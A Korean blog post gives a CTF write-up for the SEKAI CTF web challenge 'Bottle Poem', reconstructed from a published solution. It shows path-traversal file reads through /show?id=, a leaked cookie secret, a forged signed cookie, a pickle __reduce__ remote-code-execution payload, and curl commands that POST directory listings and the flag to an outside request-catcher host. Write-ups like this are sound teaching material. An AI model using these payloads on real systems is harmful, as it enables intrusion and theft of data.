본문 바로가기

CTF/SEKAI CTF

[Web] Bottle Poem

링크를 클릭하자.

 

 

나의 병 속의 시들을 읽어라...?

일단 순서대로 링크를 타고 들어가보자.

 

Spring.

 

Auguries of Innocence.

 

The tiger.

음. 그냥 아름다운 시... 같은데.

앞글자들만 다 따서 모으면 Flag 가 되는걸까...

 

어. tiger 시 행 뒤쪽에 숫자가 있는데 뭘까.

 

 

여기까지가 CTF를 풀며 내가 작성했던 것인데 당시의 당혹감이 아주 잘 드러나있다.

정말 손도 못 댔어서 다시 보니 굉장히 부끄럽다.

 

Write Up에 따르면,

/show?id=spring.txt 처럼 파일을 읽고 있는 느낌이 있으므로,
/show?id=/etc/passwd 를 해 보면 빠져나올 수 있다.


LFI 취약점을 찾아야 한다.

응답의 server: WSGIServer/0.2 CPython/3.8.12 때문에 파이썬으로 작성되었다.
여러 가지를 하면 /show?id=/proc/self/cwd/app.py 코드가 빠진다.

(일본어를 번역한거라 맥락이 확실한지 모르겠다)

 

from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re


@route("/")
def home():
    return template("index")


@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile


@error(404)
def error404(error):
    return template("error")


@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=sekai)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=sekai)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)

 

/sign으로 session["name"] == "admin"

되면 플래그를 얻을 수 있을 것으로 예상한다.


token에 secret을 사용하여 서명하는 것 같다.


from config.secret import sekai되어 있으므로, 이것도 LFI로 뽑는다.

 

GET /show?id=/proc/self/cwd/config/secret.py
sekai="Se3333KKKKKKAAAAIIIIILLLLovVVVVVV3333YYYYoooouuu"

 

적당히 코드를 써 쿠키를 만든다.

 

from bottle import route, run, template, request, response, error
import os

@route("/")
def home():
    response.set_cookie("name", {"name": "admin"}, secret="Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu")
    return "yeah"

if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=1337)

 

만든 쿠키를 보내면 admin으로 넣지만 플래그가 나오지 않는다.


Cookie: name="!rsOwvUb6jllVHQVOPlZv5w==?gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFYWRtaW6Uc4aULg=="


음.

문제를 보면 추가로 기록되고 있던
Flag is executable on server.
RCE까지 연결하지 않으면 안 되는 듯 하다.

 

생각하면 일본어의 멋진 기사를 찾을 수 있다. (대충 다음 링크를 참고했다는 말인가봄)

[pickle 을 이용한 임의의 코드 실행과 Python Web Framework - mrtc0.log ]

 

name=guest cookie!o8siMrdaVf83giE8crJurg==?gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFZ3Vlc3SUc4aULg==

 가져오면

 

import pickle;
from base64 import b64encode, b64decode

x = b'gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFZ3Vlc3SUc4aULg=='
x = b64decode(x)
x = pickle.loads(x)
print(x)

 

내용을 살펴보면 ('name', {'name': 'guest'}) 되는 것 같다.


https://github.com/bottlepy/bottle/blob/master/bottle.py#L1848-L1856
을 보면서 미묘하게 코드를 변경하여 새 쿠키를 만든다.

 

import pickle, subprocess, base64, hmac, requests, sys
import hashlib

class getpasswd(object):
    def __reduce__(self):
        return (subprocess.check_output, (('bash','-c', 'curl https://abc.requestcatcher.com/test/'),))

p = pickle.dumps(('name', getpasswd()))
msg = base64.b64encode(p)
sig = base64.b64encode(hmac.new(b"Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu", msg, digestmod=hashlib.md5).digest())
c = b'!'+sig+b'?'+msg
print(c)

 

requestcatcher로 리퀘스트를 기다려 cookie의 name에 넣고,

/sign에 리퀘스트를 날리면 RCE 할 수 있는 것을 확인 가능하다.
그리고 탐색하면 플래그를 손에 넣을 수 있다www.

 

ls -la / | curl https://abcc.requestcatcher.com/test/ -X POST -d @-

total 80
drwxr-xr-x   1 root root 4096 Oct  1 11:28 .
drwxr-xr-x   1 root root 4096 Oct  1 11:28 ..
drwxr-xr-x   1 root root 4096 Sep 30 17:27 app
drwxr-xr-x   1 root root 4096 Mar  1  2022 bin
drwxr-xr-x   2 root root 4096 Dec 11  2021 boot
drwxr-xr-x   5 root root  360 Oct  1 11:28 dev
drwxr-xr-x   1 root root 4096 Oct  1 11:28 etc
---x--x--x   1 root root  568 Sep 15 06:37 flag
drwxr-xr-x   2 root root 4096 Dec 11  2021 home
drwxr-xr-x   1 root root 4096 Mar  1  2022 lib
drwxr-xr-x   2 root root 4096 Feb 28  2022 lib64
drwxr-xr-x   2 root root 4096 Feb 28  2022 media
drwxr-xr-x   2 root root 4096 Feb 28  2022 mnt
drwxr-xr-x   2 root root 4096 Feb 28  2022 opt
dr-xr-xr-x 311 root root    0 Oct  1 11:28 proc
drwx------   1 root root 4096 Sep 29 20:22 root
drwxr-xr-x   3 root root 4096 Feb 28  2022 run
drwxr-xr-x   1 root root 4096 Mar  1  2022 sbin
drwxr-xr-x   2 root root 4096 Feb 28  2022 srv
dr-xr-xr-x  13 root root    0 Sep 30 19:00 sys
drwxrwxrwt   1 root root 4096 Sep 29 20:22 tmp
drwxr-xr-x   1 root root 4096 Feb 28  2022 usr
drwxr-xr-x   1 root root 4096 Feb 28  2022 var


/flag | curl https://abcc.requestcatcher.com/test/ -X POST -d @-

SEKAI{W3lcome_To_Our_Bottle}

 

사실 제대로 이해를 한게 맞는지 헷갈리는 부분이 많은 것 같아서 어설프게나마 시도해보려고 했는데,

CTF가 종료되어서 해당 사이트에 접속할 수가 없다...

 

CTF가 종료되자마자 Write Up이 공개되기도 전에 바로 닫히는 것인지,

단지 시간이 너무 지나서 닫힌 것인지 알 수 없지만...

후자라면 다음부터는 닫히기 전에 작성해야겠다.

전자라면... Write Up을 안보고도 풀 수 있게 되는 그날까지 화이팅!

'CTF > SEKAI CTF' 카테고리의 다른 글

[Programmig(PPC)] Let's Play Osu!Mania  (0) 2022.11.18
[Rev] Matrix Lab 1  (0) 2022.10.01